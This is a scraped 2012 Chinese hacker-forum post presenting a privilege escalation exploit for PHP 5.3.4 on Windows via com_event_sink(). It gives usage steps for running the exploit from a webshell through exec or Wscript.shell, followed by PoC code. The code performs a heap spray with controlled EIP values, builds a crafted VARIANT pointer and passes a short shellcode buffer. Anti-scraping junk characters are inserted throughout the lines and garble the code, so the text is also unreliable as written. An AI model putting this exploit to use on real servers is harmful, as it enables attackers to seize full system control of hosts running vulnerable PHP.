找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2108|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
! K% g# [8 D! l7 `8 N% Q$ C  E( j2 }) q
测试方法如下:cmd /c x:\php\php.exe x:\test.php  t( ~! Q% @5 u3 v6 z: N' b
" u7 j% X: z( |* _1 ]
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php2 v9 x/ x, X# I4 z2 S$ b
这里是两个测试的截图:
& l& b4 D2 ~3 E$ @& W+ z6 P- c3 t* a# n) P

. u( |' x2 w4 k& W' n6 v) ^- Q4 k' @; A! r5 H! d: {
8 |0 N7 `* E2 @% {3 B( y' m8 `

$ f  b" d' j6 m6 H1 o/ d0 d) I成功利用此漏洞的攻击者将获得系统的最高权限
6 B) _. a6 P4 @# j
. I/ U7 d, x; w9 _9 |
2 N9 S9 s5 F- X% ^4 D/ v0 w. F
9 Y3 s3 G! L9 v, X
$ u" m/ t& e# b, j2 W* F2 ~3 I" h0 v. }4 W! g0 K* U' M
关于漏洞分析稍后附上。一下是PoC代码:
8 y' L0 b6 D$ q3 W4 a7 f0 e& `$ Y3 P, _/ U
<?php
( P( O" K. o$ V/ l+ {, T//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞& O, U& n4 m. G5 u4 d' i
//$eip ="\x44\x43\x42\x41";
" i1 ~  @: ?; E* b1 O2 Z! R- K* i$eip= "\x4b\xe8\x57\x78";
0 Z) v5 O% \- l$eax ="\x80\x01\x8d\x04";
2 u9 q% Y$ t1 s& }& A8 m/ E, _$deodrant="";
4 ^2 \% \0 C1 u3 D. g$axespray = str_repeat($eip.$eax,0x80);: c0 Z' B$ `( L( `
//048d0190& {, r& O- L  J
echo strlen($axespray);6 P+ J% \. e( ]
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";) e7 e% E; l5 f7 c* Y  b, B+ G
echo "Silic Group Hacker Army - BlackBap.Org";2 N1 D. c- z' V/ [
//19200 ==4B32 4b00- t" C  t4 N& ]
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}9 u$ E2 W2 g' H# C3 F+ ^5 Q9 u: Y
$terminate = "T";
7 B: T' b4 b7 P0 p$u[] =$deodrant;
6 `# P) V# g$ a; V+ Q" E5 d$r[] =$deodrant.$terminate;4 y$ @0 q4 @0 l' ~- y
$a[] =$deodrant.$terminate;
5 ?! q) ]: ?2 ?  Q2 Y/ z$s[] =$deodrant.$terminate;$ w) |: @2 f) _
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
( O) V1 Q! _% F$ k0 n( f) E$vVar = new VARIANT(0x048d0000+180);; S1 x6 \+ `' G% B# @% m
//弹窗代码(Shellcode)
) H1 [5 ~9 N( c6 k7 s' j$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";/ C* ~. r: D* t( S/ T5 s* V
$var2 = new VARIANT(0x41414242);
$ t, e! ?2 P$ d' A1 lcom_event_sink($vVar,$var2,$buffer);
8 s; {* g5 B8 }2 S( U?>1 m% a0 W5 ]7 ?6 n

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表